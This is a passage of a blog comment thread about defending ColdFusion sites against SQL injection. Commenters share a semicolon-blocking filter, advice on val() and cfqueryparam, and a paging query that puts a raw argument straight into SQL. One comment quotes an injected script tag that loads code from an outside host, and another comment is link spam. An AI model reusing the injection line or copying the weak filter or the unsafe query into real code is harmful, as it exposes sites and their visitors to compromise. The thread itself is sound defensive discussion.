  • Adam

    What I have seen is that alot of their crap comes in hex so looking for clear text may not always work. I had the following come through today:

    Macromedia][SQLServer JDBC Driver][SQLServer]????????????????????????????]????? GARBAGE ??????©?????@???????@?????B???³??????G?????????¬?????G???????????­

    I put garbage in the middle to break it hear, but what the heck can you do about this with just checking field name.s

    #65Posted by Adam | Jul 24, 2008, 10:49 PM
  • adam

    I should add that it looks like it actually came through in unicode (chinese) since that is how it looks in the error emails I get.

    #66Posted by adam | Jul 24, 2008, 10:50 PM
  • glex

    Thank you very much for posting the code that can be put in the Application.cfm file to prevent SQL injections.

    http://winsmart.atwiki.com/
    http://shuntong.vipblog.hk/
    http://geocities.atwiki.com/
    http://weddingphoto.vipblog.hk/
    http://dslrsreview.blogspot.com/
    http://blog.sina.com.tw/winbill/
    http://www.simpy.com/user/winbill
    http://www.diigo.com/user/lullabot
    http://profile.typekey.com/winbill/
    http://www.simpy.com/user/mclinton
    http://profile.typekey.com/nesthone/
    http://www.geocities.com/cnlogistic/
    http://profile.typekey.com/tshuntong/
    http://hk.geocities.com/coffeematching/
    http://hk.myblog.yahoo.com/ministoragehk/

    #67Posted by glex | Aug 14, 2008, 02:50 AM
  • Chris Walker

    I have added some new and improved code on my blog about SQL injection attacks which can be viewed here:

    http://www.shareddynamics.com/index.cfm/2008/8/11/...

  • Emmett Gray

    Thanks to Ray Majoran and Bill Jones for the insight into the ";DECLARE" type of attack. I used the code supplied by Bill and it worked to defend my site. But I ended up with something simpler, because after logging the attacks for a while to a table for easy review, I noticed that they all depend on a semicolon as the first character to get recognized as a separate query. So I decided to just filter semicolons out of any CGI request. I left Bill's script in place after the following, but nothing has fallen through to it so far; the semicolon interecpt has caught all attacks. This is in my Application.cfm file (which I didn't have until these attacks started, and it became necessary to have one). (I also added email notification and logging to a database table to keep track of the attacks and make sure I wasn't blocking valid requests).

    <!---Semicolon Blocker--->
    <CFSET rejectThis = ";">
    <!----Need to allow the following custom 404 redirection for our deprecated static pages--->
    <CFSET keepThis = "404;http://">;
    <cfset CheckVal = cgi.QUERY_STRING>
    <CFSET st = FindNoCase(rejectThis,CheckVal,1)>
    <CFSET st2 = FindNoCase(KeepThis,CheckVal,1)>
    <CFIF (st gt 0) AND (st2 NEQ 1)>
       <CFABORT>
    </CFIF>
    <!---End Semicolon Blocker--->

    #69Posted by Emmett Gray | Sep 11, 2008, 10:45 AM
  • Peter Tilbrook

    Great except the attacks I got were from China and not from Hong Kong (note to hackers I buy all my video games from Hong Kong - China can get stuffed)

    #70Posted by Peter Tilbrook | Sep 11, 2008, 10:53 AM
  • Car Hifi Shop

    What about if users put SQL markup in the text input area's within a form that is going to end up in db insert

  • Shane

    Can any one give me a bit advice. I just ran QueryParam Scanner (http://www.hybridchill.com/projects/qpscanner.html...), awesome tool BTW, and it keeps alerting me to the queries where I am paging results (showing only 20 records at a time) by passing in an argument to determine which row to start at. I see why it is catching these, but my question is it insecure? When the query contains a where statement, I am using cfqueryparam religiously.

    SELECT top 20 column1,column2,column3
    FROM table
    <cfif arguments.start NEQ 1>
    AND column1 NOT IN (
    SELECT TOP #arguments.start# column1
    FROM table
    ORDER BY column3 DESC)
    </cfif>
    ORDER BY column3 DESC

    Thanks!

    #72Posted by Shane | Dec 3, 2009, 12:52 PM
  • Michael Muller

    I'm glad someone mentioned val(). I use this on almost everything. Quick and clean, nothing gets through val(), and you never wind up with null because #val(";inject_code")# = 0, which would just return no records and not an error. And still works with cached queries, I believe.

    The latest script I've been hit with is this:

    </title><script src='http://google-server03.info/urchin.js'></script>

    They discover what fields populate the title tag (if any) and replace the value with that string. Then, just for good measure, they blank out almost all DB field values with the word 'name' in it, including username, productname, etc. I am now changing many DB fieldnames to not include the word 'name' just for additional defense.

    What gets me is why these people do it? Just for kicks? I know a couple of places I'd like to get some good swift kicks in.